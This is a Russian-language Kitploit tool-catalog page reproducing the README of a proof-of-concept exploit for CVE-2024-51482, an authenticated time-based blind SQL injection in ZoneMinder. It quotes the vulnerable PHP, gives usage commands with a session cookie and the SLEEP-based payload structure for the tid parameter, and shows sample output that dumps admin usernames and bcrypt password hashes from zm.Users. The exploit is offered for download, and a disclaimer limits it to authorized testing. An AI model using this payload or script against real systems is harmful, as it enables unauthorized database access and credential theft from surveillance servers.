Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-51482 — CVE-2025-51482 POC, извлечение учетных данных из zm.Users | Kitploit
Инструменты/GitHubGitHub/c0gnit00/cve-2024-51482
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC, извлечение учетных данных из zm.Users

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-51482 — Time-Based Blind SQL-инъекция в ZoneMinder

Эксплойт proof-of-concept для CVE-2024-51482, аутентифицированной уязвимости time-based blind SQL-инъекции в ZoneMinder v1.37. ≤ 1.37.64*.

Скрипт извлекает имена пользователей и хэши паролей из таблицы zm.Users с помощью бинарного поиска (бисекции) по оракулу на основе SLEEP().


Уязвимость

Обработчик removetag в web/ajax/event.php безопасно параметризует запрос DELETE, но затем напрямую интерполирует вводимые пользователем данные в последующий SELECT:

root@kitploit:~
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId берётся напрямую из $_REQUEST['tid'] без очистки, что позволяет внедрение через параметр tid.


Требования

  • Python 3.8+
  • requests (pip install requests)
  • Действительный файл cookie сессии ZMSESSID от авторизованной учётной записи ZoneMinder

Использование

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

Аргументы:

  • --url — базовый URL ZoneMinder (например, http://cctv.htb/zm) (обязательно)
  • --zmsessid — значение cookie ZMSESSID (обязательно)
  • --sleep — количество секунд ожидания для временного анализа (по умолчанию: 3)
  • --timeout — тайм-аут запроса в секундах (по умолчанию: sleep + 3)

Примеры:

root@kitploit:~
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

Получение cookie сессии

Войдите в ZoneMinder, откройте DevTools браузера (F12) -> Application -> Cookies и скопируйте значение ZMSESSID. В качестве альтернативы перехватите любой аутентифицированный запрос в Burp Suite и извлеките его из заголовка Cookie.


Вывод

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

Как это работает

  1. Базовая линия — отправляет чистый запрос tid=1 для измерения нормального времени ответа.
  2. Подтверждение — внедряет SLEEP(2) и проверяет, что ответ задерживается на ≥2 секунды.
  3. Количество строк — бинарный поиск COUNT(*) по zm.Users для определения количества существующих учётных записей.
  4. Извлечение — для каждого пользователя бинарный поиск ASCII-значения каждого символа в Username и Password (~7 запросов на символ против 95 при линейном сканировании).

Структура полезной нагрузки:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 требуется, потому что безопасный DELETE перед уязвимым SELECT вызовет ошибку 500 без него, прерывая выполнение до того, как будет выполнена инъекция.


Ссылки

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных исследований.
Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.
Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.

Скачать инструмент